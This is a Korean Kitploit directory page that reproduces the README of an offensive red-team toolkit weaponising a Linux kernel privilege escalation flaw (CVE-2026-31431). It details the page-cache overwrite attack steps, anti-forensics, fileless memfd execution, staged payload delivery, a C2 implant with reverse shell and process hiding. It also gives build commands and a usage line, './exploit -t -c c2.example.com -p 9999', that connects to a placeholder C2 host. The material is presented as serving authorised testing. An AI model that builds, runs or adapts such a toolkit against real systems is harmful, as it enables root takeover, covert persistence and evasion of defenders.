Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
COPY-FAIL — Copy Fail - CVE-2026-31431 - 레드팀 및 승인된 침투 테스트 작업을 위한 강화된 C 구현. ⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트 및 방어 분석을 위해서만 사용됩니다. 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. | Kitploit
도구/GitLabGitLab/toxy4ny/copy-fail
Privilege EscalationExploitationPost-ExploitationCommand and ControlRed TeamingPayload DevelopmentBinary Exploitation
GitLabtoxy4ny/copy-fail

COPY-FAIL

Copy Fail - CVE-2026-31431 - 레드팀 및 승인된 침투 테스트 작업을 위한 강화된 C 구현. ⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트 및 방어 분석을 위해서만 사용됩니다. 귀하가 소유하거나 명시적 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

저장소 보기
1102개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

복사 실패 -- CVE-2026-31431

레드팀 및 승인된 침투 테스트 작전을 위한 강화된 C 구현체입니다.

⚠️ 법적 고지: 이 도구는 승인된 보안 연구, 승인된 침투 테스트, 방어적 분석만을 위해 사용됩니다. 귀하가 소유하거나 명시적인 서면 허가를 받은 시스템에서만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.

🚀 주요 개발이 GitLab으로 이전되었습니다.
이 저장소는 여기에서 적극적으로 유지 관리됩니다. 문제 제기 및 기여는 GitLab을 사용해 주십시오.


Table of Contents

  • 개요
  • 원본 연구
  • 우리의 개선 사항
  • 아키텍처
  • 빌드
  • 사용법
  • 모듈
  • 작전 보안
  • 탐지 및 완화
  • 크레딧
  • 라이선스

개요

이 프로젝트는 2026년 4월 29일 Theori와 Xint가 최초로 공개한 CVE-2026-31431 ("Copy Fail") 로컬 권한 상승 익스플로잇을 강화하고 프로덕션에 준비된 C로 포팅한 것입니다.

원본 개념 증명은 Python으로 작성되었으며 연구 데모용으로 설계되었습니다. 이 구현체는 이를 레드팀급 도구 키트로 변환합니다:

  • 디스크 아티팩트 제로 (memfd 기반 파일리스 실행)
  • 자동 대상 탐색 (MAC 인식을 통한 setuid 바이너리 열거)
  • 안티-포렌식 (캐시 제거, 타임스탬프 복원, 자체 파괴)
  • 운영자 제어 (구성 가능한 타임아웃이 있는 신호 트리거 실행)
  • 크로스 플랫폼 정적 빌드 (musl/zig를 통한 x86_64, ARM64, RISC-V)

원본 연구

CVE-2026-31431: Copy Fail

속성값
공개일2026년 4월 29일
연구자Theori (Jinoh Kang, Yonghwi Jin, Seunghyun Lee), Xint
기고문https://copy.fail/
원본 PoCtheori-io/copy-fail-CVE-2026-31431 (Python)
C 포트 (기반)tgies/copy-fail-c by Tony Gies
영향받는 커널리눅스 4.14 -- 6.14 (수정 커밋 a664bf3d603d 이전)
심각도CVSS 7.8 (높음) -- 로컬 권한 상승

취약점 메커니즘

취약점은 리눅스 커널의 AF_ALG 암호화 서브시스템에 있습니다. authencesn AEAD 템플릿은 복호화를 위한 제자리 최적화를 구현합니다: 파일의 페이지 캐시에서 splice()를 통해 암호문이 제공되면, 커널은 동일한 페이지를 소스와 목적지로 재사용합니다.

공격 흐름:

  1. setuid 바이너리(예: /usr/bin/su)를 읽기 전용으로 엽니다
  2. AF_ALG를 통해 authencesn(hmac(sha256),cbc(aes)) AEAD 연산을 설정합니다
  3. 대상 파일의 페이지 캐시에서 splice()를 통해 암호문을 제공합니다
  4. (실패하는) 복호화 연산은 인증이 거부되기 전에 페이지 캐시 페이지의 4바이트를 덮어씁니다
  5. 페이로드의 각 4바이트 윈도우에 대해 반복합니다
  6. execve() 대상 -- 커널이 캐시에서 변형된 페이지를 로드하여 setuid-root 자격 증명을 부여합니다
  7. 페이로드가 전체 루트 셸로 전환합니다

핵심 통찰: 디스크 상의 inode는 절대 수정되지 않습니다. 메모리 내 페이지 캐시만 변형되므로, 전통적인 파일 덮어쓰기 익스플로잇보다 포렌식 탐지가 훨씬 더 어려워집니다.


우리의 개선 사항

이 프로젝트는 9개의 모듈에 걸쳐 레드팀 지향 강화를 통해 원래 연구를 확장합니다.

1. 강화된 익스플로잇 프리미티브 (patch_chunk.c)

기능원본우리 구현
소켓 관리청크당 새 소켓소켓 재사용 (~60% 적은 시스템 콜)
검증없음mmap + memcmp 및 자동 재시도 (3회 시도)
병렬 쓰기순차적만포크 기반 병렬 (최대 16개 프로세스)
오류 코드이진 성공/실패세분화: 0=확인됨, 1=패치된 커널, -1=치명적
힙 할당핫 경로에서 malloc스택 전용 (할당 지터 없음)

2. 자동 대상 탐색 (target_discovery.c)

  • 3단계 스캐닝: 우선 대상 → 표준 디렉토리 → 심층 스캔
  • MAC 인식 점수: AppArmor/SELinux 프로파일이 있는 바이너리에 페널티
  • 18개 우선 대상: su, sudo, passwd, pkexec, mount, ping 등
  • 폴백 체인: 기본 대상이 실패하면 자동으로 다음 최적 후보 선택
  • Snap 인식: /snap 건너뜀 (비전통적 setuid)

3. 안티-포렌식 스위트 (anti_forensics.c)

기법목적
posix_fadvise(POSIX_FADV_DONTNEED)파일별 페이지 캐시 제거
echo 3 > /proc/sys/vm/drop_caches전역 캐시 삭제 (루트 획득 후)
utimensat() timestomp원래 atime/mtime 복원
자체 파괴실행 전 드로퍼 바이너리를 0으로 덮어쓰기
메모리 지우기민감한 버퍼의 volatile 제로화

4. 파일리스 실행 (memfd_exec.c)

  • memfd_create + fexecve: 파일시스템 경로 없이 실행
  • 은폐: kworker, anon_inode, eventfd로 명명된 memfd (/proc/$pid/fd/에 혼합)
  • 포크 앤 포겟: 더블 포크로 고아 프로세스 생성 (PPID=1)
  • 메모리 내 복호화: XOR 및 RC4 복호화 후 실행 (페이로드가 디스크에 평문으로 저장되지 않음)

5. 스테이지 1 페이로드 전달 (stage1.c)

채널은밀성속도폴백 우선순위
임베디드최대즉시마지막 (에어갭)
HTTP 직접중간<1초첫 번째
시스템 curl/wget낮음1-3초두 번째 (HTTPS 지원)
DNS TXT높음느림세 번째 (방화벽 우회)

6. 스테이지 2 C2 임플란트 (stage2_template.c)

  • 지수 백오프가 있는 복원력 있는 재연결 루프
  • 세 가지 분포: 균일, 삼각, 지수 지터
  • 신호 제어: SIGUSR1 (트리거), SIGUSR2 (상태), SIGTERM (종료)
  • DNS 비콘: TCP 연결 전 은밀한 C2 상태 확인
  • 프로세스 위장: ps/top에서 [kworker/N:0]

7. 프로세스 숨기기 (proc_hide.c)

  • argv[0] 덮어쓰기: /proc/$pid/cmdline 제자리 대체
  • prctl(PR_SET_NAME): 커널 스레드 스타일 이름 (16바이트 제한)
  • 환경 변수 정리: SSH_*, AWS_*, TOKEN* 등의 선택적 삭제
  • 부모 분리: 터미널 독립성을 위한 setsid() + setpgid()

8. 신호 트리거 제어 (signal_trigger.c)

모드동작사용 사례
trigger_oneshot()수면 → 트리거 → 실행 → 종료히트 앤 런
trigger_daemon()수면 → 트리거 → 실행 → 반복지속적 임플란트
trigger_auto()타임아웃 폴백이 있는 수면무인 작전

CPU 제로 대기: 폴링 루프 대신 sigsuspend().

9. 수면 지터 (sleep_jitter.c)

  • 세 가지 RNG 백엔드: getrandom(2), /dev/urandom, rdtsc 폴백
  • 거부 표본 추출: 균일 분포에서 모듈로 편향 제거
  • 드리프트 보상: sleep_scheduled()가 지터에도 불구하고 평균 간격 유지
  • 샌드박스 탐지: check_sandbox_acceleration()가 패치된 sleep() 탐지

아키텍처

┌─────────────────────────────────────────────────────────────┐
│                     exploit.c (Orchestrator)                 │
│  ┌─────────┐ ┌─────────┐ ┌─────────┐ ┌─────────┐          │
│  │  Hide   │ │Discover │ │ Exploit │ │ Cleanup │          │
│  │ Process │ │ Target  │ │         │ │         │          │
│  └────┬────┘ └────┬────┘ └────┬────┘ └────┬────┘          │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Core Module Layer                        │  │
│  │  patch_chunk.c  target_discovery.c  anti_forensics.c  │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Delivery & Evasion Layer               │  │
│  │  stage1.c  memfd_exec.c  proc_hide.c                │  │
│  │  signal_trigger.c  sleep_jitter.c                   │  │
│  └─────────────────────────────────────────────────────┘  │
│       │           │           │           │                │
│       ▼           ▼           ▼           ▼                │
│  ┌─────────────────────────────────────────────────────┐  │
│  │              Payload Layer (Stage-2)                │  │
│  │  stage2_template.c  (reverse shell / C2 implant)    │  │
│  └─────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

빌드

요구 사항

  • GCC 또는 Clang
  • GNU Make
  • 리눅스 헤더 (linux-libc-dev 또는 동등)
  • 선택: musl-tools (작은 정적 빌드용)
  • 선택: zig (현대적 크로스 컴파일용)
  • 선택: dpkg-deb (데비안 패키징용)

빠른 시작

# Standard redteam build (optimized, stripped, static)
make redteam

# Pentest build (symbols, moderate optimization)
make pentest

# Debug build (ASAN, full symbols)
make debug

# Vulnerability checker (non-destructive)
make checker

크로스 컴파일

# ARM64 (AWS/Azure cloud targets)
make cross-arm64

# RISC-V
make cross-riscv

# ARM HF (embedded/IoT)
make cross-armhf

# Zig cross-compile (no toolchain installation)
make cross-zig-arm64
make cross-zig-riscv

musl 정적 빌드 (작은 바이너리)

make musl-static
# Produces ~50-100 KB static binaries with zero glibc dependency

데비안 패키지

make deb VERSION=1.0.0
# Produces: build/deb/copy-fail-cve-2026-31431-1.0.0.deb

빌드 정보

make info
# Shows: CC, CFLAGS, LDFLAGS, architecture, toolchain availability

사용법

표준 모드 (신호 트리거)

# Deploy implant
./exploit &
IMP_PID=$!

# Trigger exploitation remotely
kill -USR1 $IMP_PID

# Request status (no action)
kill -USR2 $IMP_PID

# Graceful shutdown
kill -TERM $IMP_PID

즉시 실행

./exploit -t                    # Trigger now, no signal wait
./exploit -t -c c2.example.com -p 9999

사용자 정의 구성

도구 다운로드